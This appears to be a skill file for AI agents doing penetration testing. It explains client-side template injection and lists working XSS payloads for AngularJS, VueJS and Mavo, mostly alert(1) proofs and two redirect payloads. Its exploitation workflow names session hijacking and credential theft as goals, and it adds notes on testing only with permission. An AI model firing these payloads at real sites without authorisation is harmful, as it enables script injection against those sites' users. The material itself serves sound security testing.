Client Side Template Injection (CSTI)
What is CSTI?
Client Side Template Injection is a vulnerability where user input is processed by a JavaScript template engine on the client side, allowing execution of arbitrary JavaScript code in the victim's browser. It's the client-side equivalent of Server Side Template Injection (SSTI).
Key difference from SSTI:
- SSTI executes code on the remote server
- CSTI executes JavaScript in the victim's browser (similar to XSS)
When to Use This Skill
Use this skill when:
- You find a web application that processes user input with template syntax (double curly braces
{{ }}) - You're testing for XSS vulnerabilities in applications using AngularJS, VueJS, or Mavo
- You see template engine indicators in HTML responses
- You want to enumerate and exploit client-side template injection vulnerabilities
Detection Methodology
Step 1: Initial Testing
Start with a simple arithmetic payload to check if the application is vulnerable:
{{ 7-7 }}
Expected results:
- Vulnerable: You'll see
0(the expression was evaluated) - Not vulnerable: You'll see
{{ 7-7 }}(the expression was not processed)
Step 2: Framework Identification
Identify which template engine/framework is being used:
| Framework | Indicators |
|---|---|
| AngularJS | ng-app, ng-bind, ng-model attributes |
| VueJS | v-html, v-bind, {{ }} in Vue components |
| Mavo | mv-expressions, data-mv- attributes |
Step 3: Payload Testing
Use framework-specific payloads (see below) to confirm vulnerability and achieve code execution.
Framework-Specific Payloads
AngularJS
AngularJS uses directives like ng-app to process HTML content. From version 1.6+, the sandbox was removed, making exploitation easier.
Basic payloads:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
Event-based payloads:
<input ng-focus=$event.view.alert('XSS')>
Advanced (Google Research):
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Testing resources:
VueJS
VueJS v3
{{_openBlock.constructor('alert(1)')()}}
VueJS v2
{{constructor.constructor('alert(1)')()}}
Advanced VueJS (Google Research)
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match('x1') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Testing resources:
Mavo
Mavo uses a different syntax with square brackets:
Basic payloads:
[7*7]
[(1,alert)(1)]
[self.alert(1)]
Advanced payloads:
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
Complex payloads:
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
[self.alert(1)mod1]
javascript:alert(1)%252f%252f..%252fcss-images
Reference: PortSwigger Mavo Research
Brute-Force Detection
If you're unsure which framework is being used, you can brute-force with a detection list:
Wordlist reference:
Approach:
- Send multiple payloads from the wordlist
- Monitor for responses that indicate evaluation (e.g.,
0instead of{{ 7-7 }}) - Once a framework is identified, use targeted payloads
Exploitation Workflow
- Identify the injection point - Find where user input is reflected in the page
- Test with
{{ 7-7 }}- Confirm template processing - Identify the framework - Look for framework-specific attributes or test multiple payloads
- Execute JavaScript - Use framework-specific payloads to run arbitrary code
- Achieve your goal - XSS, session hijacking, credential theft, etc.
Safety Considerations
- Only test on systems you have permission to test
- CSTI can lead to full XSS - treat it as a critical vulnerability
- Document findings responsibly
- Consider the impact on end users (client-side code execution affects their browsers)